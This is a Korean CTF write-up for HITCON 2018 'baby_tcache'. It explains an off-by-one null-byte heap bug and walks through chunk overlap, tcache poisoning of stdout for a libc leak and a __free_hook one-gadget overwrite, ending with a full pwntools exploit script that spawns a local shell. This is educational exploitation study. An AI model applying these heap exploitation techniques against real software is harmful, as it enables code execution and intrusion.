콘텐츠로 건너뛰기

[HITCON CTF 2018] baby_tcache (힙내용 출력없는 malloc/free 기능만 있는 케이스2)

Source

https://github.com/integeruser/on-pwning/tree/master/2018-hitcon/Baby-Tcache

checksec

checksec ./baby_tcache
[*] '/home/ubuntu/study/baby_tcache/baby_tcache'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

Decompiled-src / Analysis

main

전에 봤던 childheap 문제와 같이

  1. new_heap
  2. delete_heap

2가지 메뉴만 존재하고 print_heap 같은 힙 내용 출력을 할 수 없다.

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __int64 menu; // rax

  initialize(a1, a2, a3);
  while ( 1 )
  {
    while ( 1 )
    {
      print_help();
      menu = read_number_by_atoll();
      if ( menu != 2 )
        break;
      delete_heap();
    }
    if ( menu == 3 )
      _exit(0);
    if ( menu == 1 )
      new_heap();
    else
      puts("Invalid Choice");
  }
}

1. new_heap

idx는 0~9, malloc size는 0x2000이하 조건하에
할당된 슬롯에다가 데이터를 저장할 수 있다.

int new_heap()
{
  _QWORD *v0; // rax
  int i; // [rsp+Ch] [rbp-14h]
  _BYTE *v3; // [rsp+10h] [rbp-10h]
  unsigned __int64 size; // [rsp+18h] [rbp-8h]

  for ( i = 0; ; ++i )
  {
    if ( i > 9 )
    {
      LODWORD(v0) = puts(":(");
      return (int)v0;
    }
    if ( !qword_202060[i] )
      break;
  }
  printf("Size:");
  size = read_number_by_atoll();
  if ( size > 0x2000 )
    exit(-2);
  v3 = malloc(size);
  if ( !v3 )
    exit(-1);
  printf("Data:");
  read_data(v3, (unsigned int)size);
  v3[size] = 0;
  qword_202060[i] = v3;
  v0 = qword_2020C0;
  qword_2020C0[i] = size;
  return (int)v0;
}

2. delete_heap

idx를 입력하면, 할당된 heap 내용에 전부다 0xDA로 memset시킨다.

그런다음 free시키고, 전역주소에 있던 저장된 할당주소와 할당크기를 0으로 초기화한다.

int delete_heap()
{
  unsigned __int64 idx; // [rsp+8h] [rbp-8h]

  printf("Index:");
  idx = read_number_by_atoll();
  if ( idx > 9 )
    exit(-3);
  if ( qword_202060[idx] )
  {
    memset((void *)qword_202060[idx], 0xDA, qword_2020C0[idx]);
    free((void *)qword_202060[idx]);
    qword_202060[idx] = 0;
    qword_2020C0[idx] = 0;
  }
  return puts(":)");
}

Solution

1. 청크 오버랩핑

tcache chunk는 0x410 크기의 힙을 할당시 해당되지 않기 때문에
먼저, 그 이상의 크기인 0x410 크기의 힙을 생성한다.

new_heap(0x410, b"A"*8)    #0

그러면 아래와 같이 0x420 크기의 청크가 생긴다.

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk                
0x555555603000      0x0                 0x250                Used                None              None
0x555555603250      0x0                 0x420                Used                None              None

이어서 차례대로 다음 크기의 청크를 할당시킨다.

    new_heap(0x60, b"B"*8)     #1
    new_heap(0x60, b"C"*8)     #2
    new_heap(0x4f0, b"D"*8)    #3
    new_heap(0xf0, b"E"*8)     #4

그럼 다음과 같은 결과를 가진다.

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk                
0x555555603000      0x0                 0x250                Used                None              None
0x555555603250      0x0                 0x420                Used                None              None
0x555555603670      0x0                 0x70                 Used                None              None
0x5555556036e0      0x0                 0x70                 Used                None              None
0x555555603750      0x0                 0x500                Used                None              None
0x555555603c50      0x0                 0x100                Used                None              None

그리고 2번 인덱스에 할당된 청크를 free해본다.

delete_heap(2)

그러면,
0x70 크기를 관리하는 tcache 리스트에 free된 청크가 들어간다.

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk                
0x555555603000      0x0                 0x250                Used                None              None
0x555555603250      0x0                 0x420                Used                None              None
0x555555603670      0x0                 0x70                 Used                None              None
0x5555556036e0      0x0                 0x70                 Freed                0x0              None
0x555555603750      0x0                 0x500                Used                None              None
0x555555603c50      0x0                 0x100                Used                None              None

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555603d50 (size : 0x202b0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x70)   tcache_entry[5](1): 0x5555556036f0

gdb-peda$ p *(tcache_entry *)0x5555556036f0
$1 = {
  next = 0x0, 
  key = 0x555555603010
}

fake 청크를 만들어서 오버래핑하기 위한 준비과정으로 보인다.

new_heap(0x68, b'a'*0x60 + p64(0x500))

그리고 힙을 살펴보면, 이상한 점을 발견할 수 있다.

0x70 크기를 관리하는 tcache로부터 다시 할당받으면,
0x5555556036e0 청크는 Used로 힙 사용중이라고 나타나야 하는데 그렇지 않다.

여전히 Freed로 나온다 !!!

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk                
0x555555603000      0x0                 0x250                Used                None              None
0x555555603250      0x0                 0x420                Used                None              None
0x555555603670      0x0                 0x70                 Used                None              None
0x5555556036e0      0x0                 0x70                 Freed 0x61616161616161610x6161616161616161
0x555555603750      0x500               0x500                Used                None              None
0x555555603c50      0x0                 0x100                Used                None              None

이러한 이유는 사실

new_heap 함수를 자세히 살펴보면,
v3[size] = 0 코드에서 off-by-one NULL byte overflow 취약점이 발생한다.

따라서 malloc size & 8 == 8일 경우, next chunk 크기에 덮어질 수 있다.

다음으로 0번, 3번, 1번 인덱스의 청크를 차례대로 free해본다.

  1. 0번 인덱스를 free.
delete_heap(0)

결과

free된 0번 청크는 크기가 0x420으로, tcache에 해당되지 않기에
unsorted bin 리스트에 들어갔다.

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk                
0x555555603000      0x0                 0x250                Used                None              None
0x555555603250      0x0                 0x420                Freed     0x7ffff7dcdca0    0x7ffff7dcdca0
0x555555603670      0x420               0x70                 Used                None              None
0x5555556036e0      0x0                 0x70                 Freed 0x61616161616161610x6161616161616161
0x555555603750      0x500               0x500                Used                None              None
0x555555603c50      0x0                 0x100                Used                None              None

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555603d50 (size : 0x202b0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x555555603250 (size : 0x420)

unsorted bin 리스트에 들어간 힙 특성상 fd, bk에 main_arena+96 주소가 들어간다.

2. 3번 인덱스를 free.

    delete_heap(3)

    결과

    0x555555603250 청크가 Free된 상태인데, 0xa00으로 크기가 대폭 증가하였다.

    0x555555603250 청크는 unsorted bin이며,

    추정한바로는 chunk overlapping이 발생한게 아닐까 싶다.

    gdb-peda$ parseheap
    addr                prev                size                 status              fd                bk                
    0x555555603000      0x0                 0x250                Used                None              None
    0x555555603250      0x0                 0xa00                Freed     0x7ffff7dcdca0    0x7ffff7dcdca0
    0x555555603c50      0xa00               0x100                Used                None              None
    
    gdb-peda$ heapinfo
    (0x20)     fastbin[0]: 0x0
    (0x30)     fastbin[1]: 0x0
    (0x40)     fastbin[2]: 0x0
    (0x50)     fastbin[3]: 0x0
    (0x60)     fastbin[4]: 0x0
    (0x70)     fastbin[5]: 0x0
    (0x80)     fastbin[6]: 0x0
    (0x90)     fastbin[7]: 0x0
    (0xa0)     fastbin[8]: 0x0
    (0xb0)     fastbin[9]: 0x0
                      top: 0x555555603d50 (size : 0x202b0) 
           last_remainder: 0x0 (size : 0x0) 
                unsortbin: 0x555555603250 (size : 0xa00)

    힙을 더 살펴보니, 한가지 얻은 힌트는 0x555555603750 지점인 것 같다.

    이전 new_heap(0x68, b'a'*0x60 + p64(0x500)) 코드의 0x500이라는 fake_prev가 들어가져있기 때문에

    0x555555603760 alloc된 주소를 free시킬려 하면,
    mchunk_size에는 PREV_IN_USE 비트가 꺼져있고 쓰여진 fake_prev에 의해
    0x555555603750-0x500 = 0x555555603250으로, free된 청크의 시작점이 될 수 있을 것이다.

    PREV_INUSE 비트가 꺼져있다는 의미는 위,
    그러니까 바로 인정합 낮은 주소의 청크가 FREE된 상태를 의미한다.

    아무튼 chunk overlapping이 발생한듯 보였다.

    1. 마지막으로 1번 인덱스 청크를 Free해본다.
    delete_heap(1)

    결과

    unsortbin: 0x555555603250 (overlap chunk with 0x555555603670(freed) )
    (0x70) tcache_entry5: 0x555555603680

    위와 같이 unsorted bin에서 overlap chunk가 나타나고,
    tcache_entry에 0x555555603680 청크가 들어갔다.

    gdb-peda$ parseheap
    addr                prev                size                 status              fd                bk                
    0x555555603000      0x0                 0x250                Used                None              None
    0x555555603250      0x0                 0xa00                Freed     0x7ffff7dcdca0    0x7ffff7dcdca0
    0x555555603c50      0xa00               0x100                Used                None              None
    
    gdb-peda$ heapinfo
    (0x20)     fastbin[0]: 0x0
    (0x30)     fastbin[1]: 0x0
    (0x40)     fastbin[2]: 0x0
    (0x50)     fastbin[3]: 0x0
    (0x60)     fastbin[4]: 0x0
    (0x70)     fastbin[5]: 0x0
    (0x80)     fastbin[6]: 0x0
    (0x90)     fastbin[7]: 0x0
    (0xa0)     fastbin[8]: 0x0
    (0xb0)     fastbin[9]: 0x0
                      top: 0x555555603d50 (size : 0x202b0) 
           last_remainder: 0x0 (size : 0x0) 
                unsortbin: 0x555555603250 (overlap chunk with 0x555555603670(freed) )
    (0x70)   tcache_entry[5](1): 0x555555603680
    1. new_heap(0x410, b'b'*8)

    결과

    gdb-peda$ parseheap
    addr                prev                size                 status              fd                bk                
    0x555555603000      0x0                 0x250                Used                None              None
    0x555555603250      0x0                 0x420                Used                None              None
    0x555555603670      0x400               0x5e0                Freed     0x7ffff7dcdca0    0x7ffff7dcdca0
    0x555555603c50      0x5e0               0x100                Used                None              None
    
    gdb-peda$ heapinfo
    (0x20)     fastbin[0]: 0x0
    (0x30)     fastbin[1]: 0x0
    (0x40)     fastbin[2]: 0x0
    (0x50)     fastbin[3]: 0x0
    (0x60)     fastbin[4]: 0x0
    (0x70)     fastbin[5]: 0x0
    (0x80)     fastbin[6]: 0x0
    (0x90)     fastbin[7]: 0x0
    (0xa0)     fastbin[8]: 0x0
    (0xb0)     fastbin[9]: 0x0
                      top: 0x555555603d50 (size : 0x202b0) 
           last_remainder: 0x0 (size : 0x0) 
                unsortbin: 0x555555603670 (overlap chunk with 0x555555603670(freed) )
    (0x70)   tcache_entry[5](1): 0x555555603680 --> 0x7ffff7dcdca0 --> 0x555555603d50
    1. new_heap(0x100, p16(0xe760))

    결과

    이제 앞으로 0x60 크기로 malloc을 하게 된다면, tcache_entry 리스트로부터 차례대로
    0x555555603680, 0x7ffff7dce760 청크를 할당받게 된다.

    gdb-peda$ parseheap
    addr                prev                size                 status              fd                bk                
    0x555555603000      0x0                 0x250                Used                None              None
    0x555555603250      0x0                 0x420                Used                None              None
    0x555555603670      0x400               0x110                Freed     0x7ffff7dce760              None
    0x555555603780      0xdadadadadadada00  0x4d0                Freed     0x7ffff7dcdca0    0x7ffff7dcdca0
    0x555555603c50      0x4d0               0x100                Used                None              None
    
    gdb-peda$ heapinfo
    (0x20)     fastbin[0]: 0x0
    (0x30)     fastbin[1]: 0x0
    (0x40)     fastbin[2]: 0x0
    (0x50)     fastbin[3]: 0x0
    (0x60)     fastbin[4]: 0x0
    (0x70)     fastbin[5]: 0x0
    (0x80)     fastbin[6]: 0x0
    (0x90)     fastbin[7]: 0x0
    (0xa0)     fastbin[8]: 0x0
    (0xb0)     fastbin[9]: 0x0
                      top: 0x555555603d50 (size : 0x202b0) 
           last_remainder: 0x555555603780 (size : 0x4d0) 
                unsortbin: 0x555555603780 (size : 0x4d0)
    (0x70)   tcache_entry[5](1): 0x555555603680 --> 0x7ffff7dce760 --> 0xfbad2887 (invaild memory)

    3. new_heap(0x60, b"\x60")

      결과

      0x555555603680 청크를 할당받았다.

      추후 할당받는 청크는 0x7ffff7dce760인 stdout 구조체 주소이다.

      gdb-peda$ parseheap
      addr                prev                size                 status              fd                bk                
      0x555555603000      0x0                 0x250                Used                None              None
      0x555555603250      0x0                 0x420                Used                None              None
      0x555555603670      0x400               0x110                Used                None              None
      0x555555603780      0xdadadadadadada00  0x4d0                Freed     0x7ffff7dcdca0    0x7ffff7dcdca0
      0x555555603c50      0x4d0               0x100                Used                None              None
      
      gdb-peda$ heapinfo
      (0x20)     fastbin[0]: 0x0
      (0x30)     fastbin[1]: 0x0
      (0x40)     fastbin[2]: 0x0
      (0x50)     fastbin[3]: 0x0
      (0x60)     fastbin[4]: 0x0
      (0x70)     fastbin[5]: 0x0
      (0x80)     fastbin[6]: 0x0
      (0x90)     fastbin[7]: 0x0
      (0xa0)     fastbin[8]: 0x0
      (0xb0)     fastbin[9]: 0x0
                        top: 0x555555603d50 (size : 0x202b0) 
             last_remainder: 0x555555603780 (size : 0x4d0) 
                  unsortbin: 0x555555603780 (size : 0x4d0)
      (0x70)   tcache_entry[5](0): 0x7ffff7dce760 --> 0xfbad2887 (invaild memory)

      힙 내용에는 거의 변화가 없었다.

      2. stdout 주소에 AAW, leak을 통해 libc base 구하기

      이제 0x7ffff7dce760 청크로 할당받아 AAW, leak을 하여 libc 주소를 구한다.

          pay = p64(0xfbad1800)
          pay += p64(0)*3
          pay += p8(0)
      
          # ip()
          new_heap(0x60, pay)
          
          leak = r()
          leak = leak[0xc8:0xc8+8]
          leak = uu64(leak)
          info(f"leak: {hex(leak)}")
          l.address = leak - l.sym._IO_2_1_stdin_
          success(f"libc base: {hex(l.address)}")

      3. double free하여 free_hook에 onegadget 덮어 쉘얻기

          delete_heap(3)
          delete_heap(1)
      

      인덱스 1번과 3번은 서로 같은 주소를 가리킨다.

      gdb-peda$ x/17gx 0x0000555555400000+0x202060
      0x555555602060:	0x0000555555603260	0x0000555555603680 (1)
      0x555555602070:	0x00005555556036f0	0x0000555555603680 (3)
      0x555555602080:	0x0000555555603c60	0x00007ffff7dce760
      0x555555602090:	0x0000000000000000	0x0000000000000000
      0x5555556020a0:	0x0000000000000000	0x0000000000000000
      0x5555556020b0:	0x0000000000000000	0x0000000000000000
      0x5555556020c0:	0x0000000000000410	0x0000000000000100
      0x5555556020d0:	0x0000000000000068	0x0000000000000060
      0x5555556020e0:	0x00000000000000f0

      결과

      delete_heap(3)만 했을때의 결과

      하나의 tcache 리스트에 들어간다.

      gdb-peda$ heapinfo
      (0x20)     fastbin[0]: 0x0
      (0x30)     fastbin[1]: 0x0
      (0x40)     fastbin[2]: 0x0
      (0x50)     fastbin[3]: 0x0
      (0x60)     fastbin[4]: 0x0
      (0x70)     fastbin[5]: 0x0
      (0x80)     fastbin[6]: 0x0
      (0x90)     fastbin[7]: 0x0
      (0xa0)     fastbin[8]: 0x0
      (0xb0)     fastbin[9]: 0x0
                        top: 0x555555603d50 (size : 0x202b0) 
             last_remainder: 0x555555603780 (size : 0x4d0) 
                  unsortbin: 0x555555603780 (size : 0x4d0)
      (0x70)   tcache_entry[5](255): 0xfbad2887 (invaild memory)
      (0x110)   tcache_entry[15](1): 0x555555603680

      delete_heap(1)까지 했을때의 결과

      0x110 청크를 관린하는 tcache 리스트에 2개가 생기는데, 오버랩 청크로써

      gdb-peda$ parseheap
      addr                prev                size                 status              fd                bk                
      0x555555603000      0x0                 0x250                Used                None              None
      0x555555603250      0x0                 0x420                Used                None              None
      0x555555603670      0x400               0x110                Freed     0x555555603680              None
      0x555555603780      0xdadadadadadada00  0x4d0                Freed     0x7ffff7dcdca0    0x7ffff7dcdca0
      0x555555603c50      0x4d0               0x100                Used                None              None
      
      gdb-peda$ heapinfo
      (0x20)     fastbin[0]: 0x0
      (0x30)     fastbin[1]: 0x0
      (0x40)     fastbin[2]: 0x0
      (0x50)     fastbin[3]: 0x0
      (0x60)     fastbin[4]: 0x0
      (0x70)     fastbin[5]: 0x0
      (0x80)     fastbin[6]: 0x0
      (0x90)     fastbin[7]: 0x0
      (0xa0)     fastbin[8]: 0x0
      (0xb0)     fastbin[9]: 0x0
                        top: 0x555555603d50 (size : 0x202b0) 
             last_remainder: 0x555555603780 (size : 0x4d0) 
                  unsortbin: 0x555555603780 (size : 0x4d0)
      (0x70)   tcache_entry[5](255): 0xfbad2887 (invaild memory)
      (0x110)   tcache_entry[15](2): 0x555555603680 --> 0x555555603680 (overlap chunk with 0x555555603670(freed) )

      0x100 힙을 할당해 꺼내서 값을 쓴다면,

      where = l.sym.__free_hook
      what = l.address + 0x4f302
      
      new_heap(0x100, p64(where)) #1

      결과

      그 값은 곧 추후 값써질 대상 주소를 의미한다.

      gdb-peda$ parseheap
      addr                prev                size                 status              fd                bk                
      0x555555603000      0x0                 0x250                Used                None              None
      0x555555603250      0x0                 0x420                Used                None              None
      0x555555603670      0x400               0x110                Freed     0x7ffff7dcf8e8              None
      0x555555603780      0xdadadadadadada00  0x4d0                Freed     0x7ffff7dcdca0    0x7ffff7dcdca0
      0x555555603c50      0x4d0               0x100                Used                None              None
      gdb-peda$ heapinfo
      (0x20)     fastbin[0]: 0x0
      (0x30)     fastbin[1]: 0x0
      (0x40)     fastbin[2]: 0x0
      (0x50)     fastbin[3]: 0x0
      (0x60)     fastbin[4]: 0x0
      (0x70)     fastbin[5]: 0x0
      (0x80)     fastbin[6]: 0x0
      (0x90)     fastbin[7]: 0x0
      (0xa0)     fastbin[8]: 0x0
      (0xb0)     fastbin[9]: 0x0
                        top: 0x555555603d50 (size : 0x202b0) 
             last_remainder: 0x555555603780 (size : 0x4d0) 
                  unsortbin: 0x555555603780 (size : 0x4d0)
      (0x70)   tcache_entry[5](255): 0xfbad2887 (invaild memory)
      (0x110)   tcache_entry[15](1): 0x555555603680 --> 0x7ffff7dcf8e8 (__free_hook)

      onegdaget으로 __free_hook을 덮고, free 호출하여 쉘 얻는다.

          new_heap(0x100, p64(0x4142434445464748)) #3
          new_heap(0x100, p64(what)) 
      
          delete_heap(3)
      
          pi()
          break

      solve.py

      #!/usr/bin/env python3
      import sys, io
      
      sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8', errors='replace')
      sys.stderr = io.TextIOWrapper(sys.stderr.buffer, encoding='utf-8', errors='replace')
      
      from pwn import *
      # context.log_level = 'debug'
      context(arch='amd64', os='linux')
      warnings.filterwarnings('ignore')
      
      
      while True:
          p = process("./baby_tcache")
          # p = remote("challenge.nahamcon.com", 31899)
          e = ELF('./baby_tcache',checksec=False)
          l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
          # l = ELF('./libc.so.6', checksec=False)    
      
          s = lambda str: p.send(str)
          sl = lambda str: p.sendline(str)
          sa = lambda delims, str: p.sendafter(delims, str)
          sla = lambda delims, str: p.sendlineafter(delims, str)
          r = lambda numb=4096: p.recv(numb)
          rl = lambda: p.recvline()
          ru = lambda delims: p.recvuntil(delims)
          uu32 = lambda data: u32(data.ljust(4, b"\x00"))
          uu64 = lambda data: u64(data.ljust(8, b"\x00"))
          li = lambda str, data: log.success(str + "========>" + hex(data))
          ip = lambda: input()
          pi = lambda: p.interactive()    
      
          def new_heap(size, data):
              sla("Your choice: ", "1")
              sla("Size:", str(size))
              sa(b"Data:", data)
      
          def delete_heap(idx):
              sl("2")
              sla("Index:", str(idx))
      
          new_heap(0x410, b"A"*8)    #0
          new_heap(0x60, b"B"*8)     #1
          new_heap(0x60, b"C"*8)     #2
          new_heap(0x4f0, b"D"*8)    #3
          new_heap(0xf0, b"E"*8)     #4
      
          delete_heap(2)
      
          # ip()
          new_heap(0x68, b'a'*0x60 + p64(0x500)) #2
          # ip()
      
          delete_heap(0)
          delete_heap(3)
          delete_heap(1)
      
          #?
          # ip()
          new_heap(0x410, b'b'*8) #0
          # ip()
          new_heap(0x100, p16(0xe760)) #1
          # ip()
          new_heap(0x60, b"\x60") #3
          # ip()
          
          pay = p64(0xfbad1800)
          pay += p64(0)*3
          pay += p8(0)
      
          # ip()
      
          try:
              new_heap(0x60, pay)
              # pause()
          except:
              p.close()
              continue
          
          leak = r()
          leak = leak[0xc8:0xc8+8]
          leak = uu64(leak)
          info(f"leak: {hex(leak)}")
          l.address = leak - l.sym._IO_2_1_stdin_
          success(f"libc base: {hex(l.address)}")
      
          delete_heap(3)
          delete_heap(1)
          # ip()
      
          where = l.sym.__free_hook
          what = l.address + 0x4f302
          new_heap(0x100, p64(where)) #1
          new_heap(0x100, p64(0x4142434445464748)) #3
          new_heap(0x100, p64(what)) 
      
          delete_heap(3)
      
          pi()
          break

      Result

      ubuntu@230e8fc3a277:~/study/baby_tcache$ python3 solve2.py
      [+] Starting local process './baby_tcache': pid 14428
      [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5)
      [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5)
      [*] Process './baby_tcache' stopped with exit code -11 (SIGSEGV) (pid 14428)
      [+] Starting local process './baby_tcache': pid 14432
      [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5)
      [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5)
      [*] Process './baby_tcache' stopped with exit code -11 (SIGSEGV) (pid 14432)
      [+] Starting local process './baby_tcache': pid 14434
      [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5)
      [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5)
      [*] Process './baby_tcache' stopped with exit code -11 (SIGSEGV) (pid 14434)
      [+] Starting local process './baby_tcache': pid 14436
      [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5)
      [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5)
      [*] Process './baby_tcache' stopped with exit code -11 (SIGSEGV) (pid 14436)
      [+] Starting local process './baby_tcache': pid 14438
      [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5)
      [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5)
      [*] leak: 0x7f21c99ada00
      [+] libc base: 0x7f21c95c2000
      [*] Switching to interactive mode
      $ ls
      baby_tcache  libc.so.6                     solve.py   solve3.py
      d            peda-session-baby_tcache.txt  solve2.py
      $ uname -a
      Linux 230e8fc3a277 5.15.167.4-microsoft-standard-WSL2 #1 SMP Tue Nov 5 00:21:55 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
      $ id
      uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
      $ 
      [*] Interrupted
      [*] Stopped process './baby_tcache' (pid 14438)